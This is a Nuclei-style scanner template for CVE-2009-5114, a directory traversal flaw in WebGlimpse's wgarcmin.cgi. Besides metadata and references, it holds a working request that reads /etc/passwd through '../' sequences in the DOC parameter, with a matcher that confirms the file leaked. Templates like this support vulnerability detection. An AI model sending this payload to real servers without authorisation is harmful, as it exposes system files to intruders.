id: CVE-2009-5114

info:
  name: WebGlimpse 2.18.7 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/36994
    - https://nvd.nist.gov/vuln/detail/CVE-2009-5114
    - http://websecurity.com.ua/2628/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74321
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-5114
    cwe-id: CWE-22
    epss-score: 0.05527
    epss-percentile: 0.90361
    cpe: cpe:2.3:a:iwork:webglimpse:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: iwork
    product: webglimpse
  tags: cve,cve2009,edb,lfi,iwork,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f200a60776a0dca47f5d875026650228bfdeaf21feaadd596412eb251f947ec8022053eae7a2f74c75918c9568d264bedd58f18666c4210425ab9133c73cc3a99078:922c64590222798bb761d5b6d8e72950